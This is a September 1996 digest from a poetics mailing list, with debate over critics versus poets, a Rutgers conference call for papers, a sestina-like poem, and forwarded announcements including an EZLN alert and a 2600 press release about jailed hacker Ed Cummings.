between readers in an Establishment and writers
who have been canonised into an Establishment?
Who do not necessarily belong there and/or are
not particularly there for themselves but
actually as a culturally representative
lab specimen in a lab which neither understands
the culture nor "its" "specimens"?

5) How often is such translation a kind of
Johnny Rotten type punk (ie High Modernist,
though not, interestingly for the great
20th century translator, Poundian) hatred
of the past, and puerile yaa boo sucks to
the repressed patricians who need to lighten
up (or as Barrett Watten is reported, not much

less puerilely to have said at New Hampshire,
about Eliot) or get more sex, without fully
addressing one's envy, one's desire to have
the same (actually skilfully & heroically,
sometimes, achieved) poetic appeal?

6) And what kind of language permission is
there, esp for an experimental poet, to use
more politically incorrect diction and old-fashioned
"patriarchal" wistful lyrical cadences, under the
guise of doing it only ironically?

7) Can the pure homophonic pleasure, of attempting
to produce a similar sound and surface to one's
original, help one to do some translation which
incorporates a good homophonic ear but also
seems to respect the author and the author's
content? This seems to be to what Derrida does
when he writes through (and in imitation of,
but also going off at lateral tangents to)
Ponge, Genet, Heidegger, Hegel etc?

I haven't seen too many examples of 1, 2 or 7.

Ira Lightman

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53. Julie Marie Schmid

Re: query re. public poetry conference

Wed 4 Sep 1996

Hi all--

I've been trying to track down information regarding the public poetries conference at Rutgers this spring, but to no avail. Does anyone out there have information re. who to contact, deadlines, etc.? Any help (posted to list or backchanneled) will be much appreciated!!

Thanks.

Julie Schmid
University of Iowa
[redacted]

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54. **Jean Crown**

Re: query re. public poetry conference

Wed 4 Sep 1996

Hi Julie:

"Poetry and the Public Sphere," a conference on contemporary poetry, will take place next April 24-27 at Rutgers University in New Brunswick, NJ. (I just received your letter and was about to reply when I got your incoming poetics message). The interdisciplinary conference aims to provide new understandings of poetry's participation in the public sphere. The conference will feature poetry readings and performances and panel presentations by a wide range of poets, scholars, and activists, including Adrienne Rich, Miguel Algarin, and Robert Hass. Although not named here, many other poets and scholars will be invited. The planning is in its final stages and a Call for Papers listing participants will go out in the next few weeks. We invite paper proposals on topics including but not limited to the following:

poetry and social movements
African American poetry
poetry and popular culture
poetics of performance poetry
Native American poetry
global poetries
contemporary poetry cultures
Latino/a poetry
spoken word events
rap-meets-poetry
politics of form
poetry and public sphere theory
feminist poetry
poetry as witness
poetry and identity politics
Asian American poetry
poetry slams
poetry and/as history
poetry and AIDS
politics of publishing

In the meantime, you may send detailed two-page paper proposals by November
1, 1996 to:

Harriet Davidson
Associate Professor of English
Director of Women's Studies
P.O. Box 5054
Rutgers University--New Brunswick
New Brunswick, NJ 08903-5054

You may send inquiries to the conference coordinators: Kathleen Crown ([redacted]) and Nick Yasinski ([redacted]). This is a very preliminary announcement; I will send a more detailed announcement to the Poetics List very soon. All best, Kathleen Crown PS: We are following the discussion of the New Hampshire conference as we plan ours--thanks to those who provided reports on the happenings.

On Sep 4, 3:14pm, Julie Marie Schmid wrote:
> Subject: Re: query re. public poetry conference
> Hi all--
>
> I've been trying to track down information regarding the public poetries
> conference at Rutgers this spring, but to no avail. Does anyone out
> there have information re. who to contact, deadlines, etc.? Any help
> (posted to list or backchanneled) will be much appreciated!!
>
> Thanks.
>
> Julie Schmid
> University of Iowa
> [redacted]
>-- End of excerpt from Julie Marie Schmid

--

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55. **maria damon**

Re: query re. public poetry conference

Wed 4 Sep 1996

---

yeah, contact kathleen crown, a grad student at rutgers english dept, or elliott katz, also a gr-stud same dept.
bests, maria

In message <[redacted]> UB
Poetics discussion group writes:
> Hi all--
>
> I've been trying to track down information regarding the public poetries
> conference at Rutgers this spring, but to no avail. Does anyone out
> there have information re. who to contact, deadlines, etc.? Any help
> (posted to list or backchanneled) will be much appreciated!!
>
> Thanks.
>
> Julie Schmid
> University of Iowa
> [redacted]

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56. **maria damon**
fwd
Wed 4 Sep 1996

From: Center for Advanced Feminist Studies <[redacted]> Date: Wed, 4 Sep 1996 16:42:18 -0500 To: Multiple recipients of list CAFS-F2 <[redacted]> Subject: New Listserv

Subject: A New Electronic Discussion List on European Women's Stu

From: [redacted] (Judith Ezekiel)

We are happy to announce the launch of a new electronic discussion list: WISE-L. WISE-L is a list for all practitioners of women's studies: teachers, students, scholars, writers, administrators, activists, etc.. It is a forum for information on research projects, funding sources, fellowships, job openings, conferences, calls for papers, teaching methods, course syllabi, useful texts, bibliographies, student and staff exchanges, women's studies program development, European or national policy issues, and political and theoretical debates concerning women's studies. We will try to conduct discussions in several languages.

The list is sponsored by WISE, a European feminist studies organization founded in 1990. WISE seeks to promote feminist critiques of knowledge, and support practices and research which will improve the quality of women's lives. WISE is grounded in grass-roots women's studies organizations throughout Europe.

To "subscribe," send the following message by email to
[redacted]:
SUB WISE-L Your Name (e.g., SUB WISE-L Jane Smith).
You will receive an automated reply, asking you to confirm your request. Just reply with the word OK in the body of your message. You will also receive a User's Guide with more information on the list.

Regards,
Judith Ezekiel and Eva Isaksson, for WISE

Karen Moon, Administrative Aide
Center for Advanced Feminist Studies, University of MN
496 Ford Hall/224 Church St. SE
Minneapolis, MN 55455
phone: [redacted]
fax: [redacted]

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57. **Pierre Joris**

[Fwd: MB: Levinas Center]

Thu 5 Sep 1996

This is a multi-part message in MIME format.

This may be of interest to some po-listies -- Pierre

Date: Wed, 4 Sep 1996 15:15:28 -0400
To: [redacted]
From: [redacted] (Richard Cohen)
Subject: MB: Levinas Center

>To: [redacted]
>From: [redacted] (Richard Cohen)
>Subject: Levinas Center
>Cc: [redacted]
>
>Announcement (9/4/96): LEVINAS CENTER at UNCC
> I am in the process of establishing a Levinas Center located at the Atkins Library (currently undergoing a 3 year, $23,000,000 expansion) of the University of North Carolina at Charlotte (UNCC). The Levinas Center is intended as an international research facility whose object is to facilitate scholarly research into the philosophy of Emmanuel Levinas (1906-1995). Levinas's publications, writings about Levinas (books, dissertations, articles), and revevant audio and video tapes, will be located at one site, catalogued, and made available to scholars and interested individuals. Email, fax, and a website will make this catalogue and information available to the worldwide scholarly community. The Center would also serve to disseminate information regarding future papers and conferences on Levinas. In addition, the Levinas family heirs (the son, Michael Levinas, and the daughter, Simone Hansel) have been contacted and a request has been made to receive copies of all unpublished manuscripts, papers, lecture notes, and letters of the late Professor Emmanuel Levinas.
> Request: If you have relevant documents -- books, dissertations, articles, lecture notes, videos, cassette tapes, correspondence -- and would like to make a donation to the Levinas Center, please send to: Levinas Center, c/o Richard A. Cohen, UNCC - Religious Studies, 9201 University City Blvd., Charlotte, NC 28223-0001. PLEASE POST THIS ANNOUNCEMENT
>

----------6F6444B749E9--

↑ Index

58. Michael Boughn
critics and poets
Thu 5 Sep 1996

Dear Professor Perloff:

Pehaps Alan Golding is just wrong. I prefer George Steiner myself:

"The Byzantine dominion of secondary and parasitic discourse over immediacy, of the critical over the creative, is itself a symptom. An anxious desire for interposition, for explicative-evaluative mediation between ourselves and the primary, permeates our condition. . . . We seek immunities of indirection. In the agency of the critic, reviewer or mandarin commentator, we welcome those who can domesticate, who can secularize the mystery and summons of creation." (_Real Presences_, 38-39)

He goes on to call the "claim to theory in the humanities as impatience sytematized" (86). Marvelous!

Jeez. One little event where the poets actually get more time than the critics, and the critics go bonkers.

Quel dommage,
Mike
[redacted]

↑ Index

59. Rachel Loden
Roddy Slyme is retiring
Thu 5 Sep 1996

George Bowering wrote:

> *I apologize to rachel for everything, Mssrs. Perhaps you can tell me how I might return a certain object to her. I remember the way the corners of her eyes turned up when she showed it to me.*

Roderick Slyme Esq. is retiring from a lifetime in the law in order to complete his dried monkey nuts collection. As his last act he will be more than happy to receive the object in question, as long as it is (a) disinfected and (b) delivered in discreet packaging. He does, however, wonder why Mr. Bowering has seen fit to keep it for such a long time.

Rachel Loden

↑ Index

60. maria damon
Re: Roddy Slyme is retiring
Thu 5 Sep 1996

if the posts below signal the end of a poetricks thread, i'd like to thank all participants for many chuckles, and to apologize to anyone out there who may feel that my chuckles were had at his or her expense.--bests, md

In message <[redacted]> UB Poetics discussion group writes:
> George Bowering wrote:
>
> > I apologize to rachel for everything, Mssrs. Perhaps you can tell me how I
> > might return a certain object to her. I remember the way the corners of her
> > eyes turned up when she showed it to me.
>
>
> Roderick Slyme Esq. is retiring from a lifetime in the law in order to
> complete his dried monkey nuts collection. As his last act he will be
> more than happy to receive the object in question, as long as it is (a)
> disinfected and (b) delivered in discreet packaging. He does, however,
> wonder why Mr. Bowering has seen fit to keep it for such a long time.
>
>
> Rachel Loden

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61. maria damon
Re: critics and poets
Thu 5 Sep 1996

boughn writes:
> Dear Professor Perloff:
>
> Pehaps Alan Golding is just wrong. I prefer George Steiner myself:
>
> "The Byzantine dominion of secondary and parasitic discourse
> over immediacy, of the critical over the creative, is itself a
> symptom. An anxious desire for interposition, for
> explicative-evaluative mediation between ourselves and the
> primary, permeates our condition. . . . We seek immunities of
> indirection. In the agency of the critic, reviewer or mandarin
> commentator, we welcome those who can domesticate, who can
> secularize the mystery and summons of creation." (_Real

> Presences_, 38-39)
>
> He goes on to call the "claim to theory in the humanities as
> impatience sytematized" (86). Marvelous!
>
> Jeez. One little event where the poets actually get more time than the
> critics, and the critics go bonkers.
>
> Quel dommage,
> Mike
> [redacted]

now just one minute. i'm aware that poets are not given their due in the academy (unless they're dead, white, male and British, no kidding even in 1996); i'm aware that writers not connected w the academy struggle like hell, unless they're connected w the corporate world, etc etc. i'm glad to see poet honored. HOWEVER! george steiner is a critic (duh...), one of those whose pomposity gave the trade a bad name. part of these critics' agenda is/was to revere the dead white british male poets and trash not critics like themselves but those like the recent continental philosophers who have sought to break down the artificial barriers between critical and poetic discourse. i've been troubled before on this list by discussions of critics "versus" poets. many of us critics are poets as well; we're just shy about it. or, as i describe myself, a poet manquee. sometimes i'm embarrassed when a POET at a conference asks, so, maria, do you write poetry as well? i feel that my credibility is on the line, and if i answer in the negative i drop a coupla notches; at the same time if i answer in the affirmative i feel dishonest because i haven't published, or i don't write what others consider "poetry" (even in as enlightened a crowd as poetricks, there seems to be a taken-for-granted difference, if not in the discourses themselves, in those who practice them). i have no problem w/ a conference that highlights poets, but let's not let this conversation devolve into george steiner. or, while we're at it, why not trot out matthew arnold saying that anyone w/ a last name like "bugg" or "jones" can't write decent poetry? or f.r.leavis and queenie leavis singing the praises of manly vigorous crisp prose? mdamon

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62. henry g
Re: critics and poets
Thu 5 Sep 1996

On Thu, 5 Sep 1996 10:00:57 -0500 maria damon said:
>discourses themselves, in those who practice them). i have no problem w/ a
>conference that highlights poets, but let's not let this conversation devolve

>into george steiner. or, while we're at it, why not trot out matthew arnold
>saying that anyone w/ a last name like "bugg" or "jones" can't write decent
>crisp prose? mdamon
Maria,
So G. Steiner is on the other side of an issue (the merger or disjunction
of poetry & criticism) from you. How have you addressed the actual statement
Mike Boughn quoted, besides just "trashing" his "name" in exactly the same
way you say he & Arnold trash others? The shared anxieties, sufferings,
injustices, blah blah that both poets & critics must carry, the fact that
you write poetry too or poet writes criticism, don't really counter what
Steiner is saying either. I think some friction over this issue is natural
at such a conference because poetry & criticism are not like two
complementary academic disciplines. The academy studies a "field"
of interest. How many anthropology conferences bring along the
subjects of their study to make addresses? How many archaeology
conferences bring along their mummies? But poets talk back.
It's a weird situation, especially since there's so much
straddling & mutual interest. TS Eliot was smart to confine his
critical work for the most part to poets dead 300 yrs [beep:
provocation: beep] - Henry Gould

↑ Index

63. Joe Amato
critics and poets...
Thu 5 Sep 1996

---

wish i could make it to one of these conferences i keep hearing about!...

poets vs. critics: sounds like the headline i saw the other night on---was it cnn?---"showdown with saddam"...

ok, ok... i wish we could find a way to talk about what it is we expect from poetry as opposed to criticism (mike's quotes from steiner along these lines)... specifically i'd be interested in hearing more about how we come to understand and address the underlying categories... i.e., "poetic," ("creative"?) and "critical"... or should that conjunction have been, again, "vs."?...

that was a rhetorical question... clearly there is room for overlap, clearly the critical is creative, and just as clearly (though not as generally acknowledged in many if not most academic circles) the creative is critical... i think the confusion is owing to institutional and situational realities, not anthropological or left-right hemispherical ones...

poetry and criticism ARE different at the level of expectation, at the level of how some 'we' expects to be affected (and effected, both writer- and reader-

wise)... but the discursive distinctions that emerge, no matter how historically or demographically determinate, in no way correspond intrinsically to "poetry" or to "criticism"...

it's probably a safe bet that most of us don't generally read a piece of criticism expecting a few laughs [well, mebbe a very few... ha]... and that most of us don't generally read a book of poetry expecting to learn all about the ins and outs of buoyant forces [a-ha]... yes, at some level it's the explanatory vs. the expressive stance that designates the differences at work here... but at the level of cultural work, there's no reason in the world why poetry can't be as informative as criticism, or why criticism can't be as evocative as poetry... though there are many reasons this may not be so for so many, these reasons have as much to do with interpretive leanings as with authorial motivations... i can at least imagine a public for whom poetry would be valued in everyday terms much as a bread recipe, or a public for whom criticism would be regarded as a vital realm of experience (apologies for these rather reductive analogues)... and i can imagine a public for whom poetry and criticism are expected to operate, however they do so, in the same place at the same time...

which suggests a more fully hybridized understanding not only of process and product, but of reception, much as the emergence of emedia against a backdrop of print practices opens up formal-material *and* audience possibilities... one way to go with such considerations would be to ask what the apparent aversion [gasp] to media/genre mixing in some quarters---or in other quarters, the intervention-less ease [sigh] with which many do so---tells us about the specifically social underpinnings of our aesthetic choices/constraints... i mean 'social' in terms of the sorts of publics for whom such choices/constraints have value... e.g., i keep asking myself where i stand on this question of performance poetry, whence my occasional resistance to same, etc....

surely there are more possibilities available than are... currently available... i guess i'd like to see a more openly creative critical forum---among critics---and a more widespread critical engagement among, say, poets and fiction writers... and i suspect the how's of enactment are far more multivariate than most are led to believe, and i'd like to think that the tags 'poet' and 'critic' will continue to be useful insofar as they designate the primary (sets of) effects we wish to achieve---in ourselves as well as others (if you don't like "effects" that's ok too)... and sure, this has ultimately all to do with the various how's of the various what's we value... i don't expect, mself, the current distinctions twixt poetry and criticism to evaporate overnight, and i'm not sure i'd want them to disappear entirely (i'm not sure what it would mean to have no grain to work against)... but i'm quite certain we need to open up more space (publishing space included) for pushing those envelopes, for mixing it up much more than we have thus far...

in any case, trying to alter the expectations of poets OR critics, as many of you who've tried are no doubt aware, is and will continue to be none too easy, simply b/c we seem to be such creatures of habit...

joe

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64. maria damon
Re: critics and poets
Thu 5 Sep 1996

gould writes:
How many anthropology conferences bring along the
subjects of their study to make addresses?

more and more. but they try not to do it like, "bringing them along" --rather to present equal hearings.

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65. Jordan Davis
nice critics and poets
Thu 5 Sep 1996

apparently some _like_ to read and write-- but doesn't all this attention to the issue of genre- hoppers/privilegers make you wonder what is not being talked about-- which might be the growing (and predictable) discontent? (declare victory and leave) or rather it's not the social blurring (nationalism?) of critics/poets but among the _writers_ along the axis of politico-aesthetic affiliations? leading towards the close bracket? beg pardon? talking is nice, talking about is nice, talking about about is nice, no vacancy? circular drive? J

↑ Index

66. Bob Gale
Dead Poets' Society
Thu 5 Sep 1996

For those of you in the Minneapolis/St. Paul area, the Cacophony Chorus presents the DEAD POETS' SOCIETY, Sept 11, 8:00 pm, at the Bryant-Lake Bowl.

This adventurous group of local poets is dedicated to bringing the canon of great literature to life for a new generation. With works ranging from Sappho to Shakespeare, the DEAD POETS' SOCIETY is not your standard literary reading.

Offering standard poetry presentations of to musical funk interpretations, the evening promises to be lively and enlightening.

The DEAD POETS' SOCIETY is hosted by SHOUT! editor, Bob Gale, and features artists Lily Baber, Juin Charnell, Adrian Jackson, Yolanda Johnson, Elise Matthesen, Cliff Mayhood, Joy Mincy Powell, Jovelyn Richards, Blake Seboldt, and Darin Smith. The Bryant-Lake Bowl is located at 810 West Lake Street, in South Minneapolis. Theater doors open at 7:00 p.m. for diner seating, with show time at 8:00 p.m. Tickets are $6.00. Reservations can be made by calling [redacted].

The Cacophony Chorus is an ongoing performance series dedicated to highlighting the variety and vibrancy of spoken word talent. For further information, please email [redacted]

\\ The Spoken Word Universe: Home of Shout! Newspaper, \\ \\ the Cacophony Chorus, and London Productions \\ \\ 3010 Hennepin Ave S, #245, Minneapolis, MN 55408 USA \\ \\ [redacted] http://www.spoken.com \\

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67. Robert Drake
Re: critics and poets
Thu 5 Sep 1996

> *maria writes:*
> *gould writes:*
>
> *How many anthropology conferences bring along the subjects of their study to make addresses?*
>
> *more and more. but they try not to do it like, "bringing them along" --rather to present equal hearings.*

frinstance, much of the current work in Mayan epigraphy is now being done by Mayans, rather than gringos... it had become a problem when folks realized the part of the epigraphic project on glyphs included work on living Mayan languages--so the "subject" was no longer just carvings on rock, but living individuals & their culture...

hmmm... critical responses to texts as self-contained artifacts, vs response to/among a language community... sounds like a problem...

lbd

↑ Index

68. Michael Boughn
Re: critics and poets
Thu 5 Sep 1996

Put it this way, Maria. Ya got yer poets and ya got yer critics. Now, if you take away one whole group, who's up the proverbial creek without a paddle?

Mike
[redacted]

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69. Michael Coffey
Re: critics and poets -Reply
Thu 5 Sep 1996

let us not forget: critics are readers, first of all. we need all we can get.

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70. henry g
critics & poets
Thu 5 Sep 1996

To visit dilapidated zoos, to sit down and read,
to glance up through the iron bars and write
something down about the weather or the sky
in a blistered notebook, undiscovered by critics
and unsought for by bored readers -
this is one of those poet-type things done by poets.

Eventually every reader finds twelve or thirteen poets
in a lifetime. It's not so easy to read,
unless you're one of those real readers
bitten by what someone could write -
usually it comes along thanks to some critics,
one of those people who'd rather go blind than look at the sky.

Only plein-air airplanes write on the sky.
Did you notice that? Maybe you're one of the "poets."
But if you're reading this, your probably a couple of critics.
They like to read.
Too bad most of them can't write.
They wish they could, often enough - they're wishful readers.

In the zoo, even some of the monkeys are readers. But most of them just scramble around or screech at the sky. Sit them down at a terminal and they'll learn

how to write, I reckon. There's probably already a group who call themselves poets - the Simian Group (motto: "We Know How to Read.") If they fuse all that with screeching, they'll make good critics.

The zoo is run by keepers - people who wish they were critics!
Can you believe it? And they're not even readers!
Though occasionally they burn newspapers. I read.
I saw. I conquered. The air, the plane, the bars, the sky...
They'd put them all behind bars, the poets
that is. Who they, anyway? I don't know - you write for a while.

YOU write.
Me, critic.
You, poets.
Here comes Tarzan, readers!
Out of the sky!
Bashing open the bars! (But can he read?)

If you read between the bars, you can also write.
The work's cut out for you, readers and critics!
The poet's gone to sleep, and the skywriting is - all sky.

↑ Index

71. David Kellogg
Re: critics and poets
Thu 5 Sep 1996

Mike Boughn wrote:

> *Put it this way, Maria. Ya got yer poets and ya got yer critics. Now, if you take away one whole group, who's up the proverbial creek without a paddle?*

Is "critics" so obvious? Not for me -- not, anyway, in the prevailing cultural economy. I suspect that the cultural capital of living poetry is so dependant on criticism and theory that the sudden absence of critics would be a virtual amputation to the body of poetry, producing its own version of phantom pain.

Cheers,
David
~~~
~~~

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

72. henryg
Re: critics and poets
Thu 5 Sep 1996

On Thu, 5 Sep 1996 15:57:19 -0400 David Kellogg said:
>
>Is "critics" so obvious? Not for me -- not, anyway, in the prevailing
>cultural economy. I suspect that the cultural capital of living poetry is
>so dependant on criticism and theory that the sudden absence of critics
>would be a virtual amputation to the body of poetry, producing its own
>version of phantom pain.

Trouble with this theory is, for "living poetry", culture is not capital. Poetry is anti-cultural. Anti-literature. It's a form of rawness. Culture is the continual coming to terms with poetry. Say what you want about the poor suffering un-knowns saved by the good old critic. It's all hogwash. An "unknown poet" has already come to terms. Real poets don't even know it! (no adjectives hang to their capital britches) Cheers, Henry

↑ Index

73. Gabrielle Welford
EZLN on Red Alert (fwd)
Thu 5 Sep 1996

for anyone following Chiapas. gab.

---------- Forwarded message ----------
From: Andrew Flood <[redacted]>
To: [redacted]

http://www.geocities.com/CapitolHill/3102/

The communities of the EZLN have vote to break off talks
with the government as of September the 4 1996. At the
same time a month long military build-up in Chiapas and
the heightening in tensions cause by the wave of attacks
by the EPR in other areas of Mexico have led them to
belive the military may be about to launch an attack

on them. They have gone on Red Alert and are appealing
for national and international support.

More details including the communiques can be found in the
Red Alert section of the Irish Mexico Group web page at
http://www.geocities.com/CapitolHill/3102/

please forward this announcement as relevant

in solidarity
Andrew Flood

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74. maria damon
Re: critics and poets
Thu 5 Sep 1996

---

it's the basic assumption i question.
md

In message <[redacted]> UB Poetics discussion
group writes:
> Put it this way, Maria. Ya got yer poets and ya got yer critics. Now,
> if you take away one whole group, who's up the proverbial creek
> without a paddle?
>
> Mike
> [redacted]

↑ Index

75. David Kellogg
Re: critics and poets
Thu 5 Sep 1996

First I wrote:

> *Is "critics" so obvious? Not for me -- not, anyway, in the prevailing cultural economy. I suspect that the cultural capital of living poetry is so dependant on criticism and theory that the sudden absence of critics would be a virtual amputation to the body of poetry, producing its own version of phantom pain.*

And then Henry G. wrote:

> *Trouble with this theory is, for "living poetry", culture is not capital. Poetry is anti-cultural. Anti-literature. It's a form of rawness. Culture is the continual coming to terms with poetry. Say what you want about the poor suffering unknowns saved by the good old critic.*

> *It's all hogwash. An "unknown poet" has already come to terms. Real poets don't even know it! (no adjectives hang to their capital britches)*

Except for "real", of course. As compared to. . . artificial? I deny (1) that some poets are more real poets than others, and (2) that most sentences beginning "Poetry is [fill in the blank]" should be taken seriously.

As long as I'm waiting for hurricane Fran:

My point was, I thought, pretty simple. Mike Boughn suggested that poetry could get along fine without criticism. I thought that was an oversimplification. I still think so, and I don't think the rhetoric of authenticity ("real" poets) makes it any less so.

repeating words and the interwoven positions/concepts of read, write, critic, writer, and poet was wonderful -- rminds one of the possibilities and reasons why one would choose to write in sestina if it weren't just a class assignment! and of course, what position is mr. gould occupying here -- writer? poet? critic? reader? or....

i know, let's whale on THEORISTS for a while (gawd, come on, i'm just kidding...)
e

↑ Index

78. Christina Fairbank Chirot

poet-ics

Thu 5 Sep 1996

---

mightn't an argument re poets/critics be "academic" given the setting: a list based at a State University--
called "poetics" (poets+critics=poetics?)

"divide & conquer"?
"codependency"?

(note: this sent via a State University system despite the spray paint stains on my hands . . .

"the writing is on the wall" and "the moving hand having writ, moves on"?

"Who runs may read"--Gertrude Stein
"And read/where thou art"--Ronald Johnson

-dbc

↑ Index

79. George Bowering

Re: the object

Thu 5 Sep 1996

> *George Bowering wrote:*
>
> *I apologize to rachel for everything, Mssrs. Perhaps you can tell me how I might return a certain object to her. I remember the way the corners of her eyes turned up when she showed it to me.*
>
> *Roderick Slyme Esq. is retiring from a lifetime in the law in order to complete his dried monkey nuts collection. As his last act he will be more than happy to receive the object in question, as long as it is (a)*

> *disinfected and (b) delivered in discreet packaging. He does, however, wonder why Mr. Bowering has seen fit to keep it for such a long time.*

But Ms Loden said that if i wanted to I could lend the object to Herb Levy, and I had a heck of a time getting it away from him, and then a worse time getting it through customs. Herb said, by the way, that he was disappointed, because he had expected it to change his life. He said that he can get more from a Lyle Lovett CD.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"the sculptor
of Ankh-haf
sure knew
his bones"

--Lola Lemire Tostevin

↑ Index

80. George Bowering
Re: critics and poets
Thu 5 Sep 1996

> *Mike Boughn wrote:*
>
> *Put it this way, Maria. Ya got yer poets and ya got yer critics. Now, if you take away one whole group, who's up the proverbial creek without a paddle?*
>
> *Is "critics" so obvious? Not for me -- not, anyway, in the prevailing cultural economy. I suspect that the cultural capital of living poetry is so dependant on criticism and theory that the sudden absence of critics would be a virtual amputation to the body of poetry, producing its own version of phantom pain.*
>
> *Cheers,*
> *David*

David: was it not obvious to you that Mike was saying that?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"the sculptor
of Ankh-haf
sure knew
his bones"

--Lola Lemire Tostevin

↑ Index

81. George Bowering
Re: critics and poets
Thu 5 Sep 1996

> *My point was, I thought, pretty simple. Mike Boughn suggested that poetry could get along fine without criticism.*

No he didnt. He said that they need each other. Go and read what he said. or asked.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"the sculptor
of Ankh-haf
sure knew
his bones"

--Lola Lemire Tostevin

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82. George Bowering
Re: Assembling Alternatives
Thu 5 Sep 1996

> *3) American self-absorption and provincialism has been and is a problem (cf. my conference remarks). But anti-american sentiments have been (and are) a problem too. All of these things have a history: "americanocentrism" (what a word) is an abstraction.*

Yep. and all that is further hassled by the US appropriation of the word "American", as if it applies only to people between mexico and canada.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"the sculptor
of Ankh-haf
sure knew
his bones"

--Lola Lemire Tostevin

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83. filch
Re: critics and poets
Thu 5 Sep 1996

>David Kellogg wrote
"I suspect that the cultural capital of living poetry is
>so dependant on criticism and theory that the sudden absence of critics
>would be a virtual amputation to the body of poetry, producing its own
>version of phantom pain."

i believe
this says far more about the
(slice of) soci
ety you wander Mr. Kel
log than it does about (any) poet
ry.

cf

↑ Index

84. filch
Re: critics and poets (disabuse onself of importance said the flea as it consumed the dog)
Thu 5 Sep 1996

COMPUTER HACKER SEVERELY BEATEN AFTER CRITICIZING PRISON CONDITIONS

TARGET OF CAMPAIGN BY U.S. SECRET SERVICE

FOR IMMEDIATE RELEASE

A convicted hacker, in prison for nothing more than possession of electronic parts easily obtainable at any Radio Shack, has been savagely beaten after being transferred to a maximum security prison as punishment for speaking out publicly about prison conditions. Ed Cummings, recently published in Wired and Internet Underground, as well as a correspondent for WBAI-FM in New York and 2600 Magazine, has been the focus of an increasingly ugly campaign of harrassment and terror from the authorities. At the time of this writing, Cummings is locked in the infectious diseases ward at Lehigh County prison in Allentown, Pennsylvania, unable to obtain the proper medical treatment for the severe injuries he has suffered.

The Ed Cummings case has been widely publicized in the computer hacker community over the past 18 months. In March of 1995, in what can only be described as a bizarre application of justice, Cummings (whose pen name is

"Bernie S.") was targetted and imprisoned by the United States Secret Service for mere possession of technology that could be used to make free phone calls. Although the prosecution agreed there was no unauthorized access, no victims, no fraud, and no costs associated with the case, Cummings was imprisoned under a little known attachment to the Digital Telephony bill allowing individuals to be charged in this fashion. Cummings was portrayed by the Secret Service as a potential terrorist because of some of the books found in his library.

A year and a half later, Cummings is still in prison, despite the fact that he became eligible for parole three months ago. But things have now taken a sudden violent turn for the worse. As apparent retribution for Cummings' continued outspokenness against the daily harrassment and numerous injustices that he has faced, he was transferred on Friday to Lehigh County Prison, a dangerous maximum security facility. Being placed in this facility was in direct opposition to his sentencing order. The reason given by the prison: "protective custody".

A day later, Cummings was nearly killed by a dangerous inmate for not getting off the phone fast enough. By the time the prison guards stopped the attack, Cummings had been kicked in the face so many times that he lost his front teeth and had his jaw shattered. His arm, which he tried to use to shield his face, was also severely injured. It is expected that his mouth will be wired shut for up to three months. Effectively, Cummings has now been silenced at last.

>From the start of this ordeal, Cummings has always maintained his composure and confidence that one day the injustice of his imprisonment will be realized. He was a weekly contributor to a radio talk show in New York where he not only updated listeners on his experiences, but answered their questions about technology. People from as far away as Bosnia and China wrote to him, having heard about his story over the Internet.

Now we are left to piece these events together and to find those responsible for what are now criminal actions against him. We are demanding answers to these questions: Why was Cummings transferred for no apparent reason from a minimum security facility to a very dangerous prison? Why has he been removed from the hospital immediately after surgery and placed in the infectious diseases ward of the very same prison, receiving barely any desperately needed medical attention? Why was virtually every moment of Cummings' prison stay a continuous episode of harrassment, where he was severely punished for such crimes as receiving a fax (without his knowledge) or having too much reading material? Why did the Secret Service do everything in their power to ruin Ed Cummings' life?

Had these events occurred elsewhere in the world, we would be quick to condemn them as barbaric and obscene. The fact that such things are taking place

in our own back yards should not blind us to the fact that they are just as unacceptable.

For more information on protest plans, email [redacted] or call our office at [redacted].

Complete details on this case can be found on the following web site: http://www.2600.com.

9/4/96

UPDATE: 9/5/96

At around 10AM, we received a rather upbeat call from Ed. He's still feeling pretty lousy, but he did speak to his lawyer this morning. Ken (lawyer) called Judge Panella in Northampton County and also Dan Pollanski, the District Attorney. They both agreed that there was no valid reason for Ed to have been transferred to Lehigh County maximum facility and that a transfer to a minimum security facility with good medical services should be sought. The also concurred that Ed should not be sent back to Bucks County due to the administrative treatment he received there.

The judge spent a good 30 minutes discussing this with Ken, which is virtually unheard of. They discussed that Panella's sentencing had specifically stated that Ed was to serve all of his sentence at Bucks County, alluding to the fact that the BCCF administrators should never have transferred him. Furthermore, the judge agreed that there was no basis provided for the "protective custody" designation.

On an even more positive note, the judge and the DA were to discuss revisiting Ed's sentence with Ken today. They both agreed that they had expected Ed to serve his minimum sentence and be paroled after 6 months. We will hear more about this around 6PM today. This _could_ result in Ed's immediate release. A note of caution to you optimists out there: several layers of administrative b.s. are in place to assure that prisoners are not easily released (to prevent them from taking advantage of family or political ties, etc.)

So, we were felling fairly upbeat about the whole situation...

At 12:30, Ed phoned me from yet another prison phone system (TeleLink). He was transferred back to Northampton County Prison. As most of you will remember, this prison was built in the 1800s and has horrible conditions including roaches and rats.

Ed is now in the infectious disease medical unit there. There is not *supposed* to be any smoking on this unit, but of course inmates do. Ed is allergic to cigarette smoke. When he was last in this facility, he was very ill with 104 fever and

coughing up blood. I'm sure we can imagine how difficult that type of coughing could get with Ed's jaw broken and wired shut.

The medical facility there is run by a private company (Correctional Healtcare Solutions, [redacted]) who cuts costs wherever possible, including neglecting to provide prescribed medications to inmates. Ed was given a pillow, which seems like a bonus compared to the Lehigh facilities.

Ed was woken up around 8am on 9/5 and moved to a new cell in the infectious disease ward (he had been transferred yesterday as well). He also got to see the Lehigh Prison doctor for the first time since his release from the hospital. The doctor was concerned about continued pain Ed has in his right temple and was to call the hospital to review the xrays for possible fracture there. He was also going to prescribe a stronger painkiller for Ed (currently on Tylenol 3 with Codeine). Ed is fairly sure that he will have to start this process all over again with a doctor at Northampton County, whenever one sees him.

The discharge unit at Lehigh County refused to allow Ed to take his legal paperwork with him. His lawyer has phoned the discharge unit, who is now "searching for the folders".

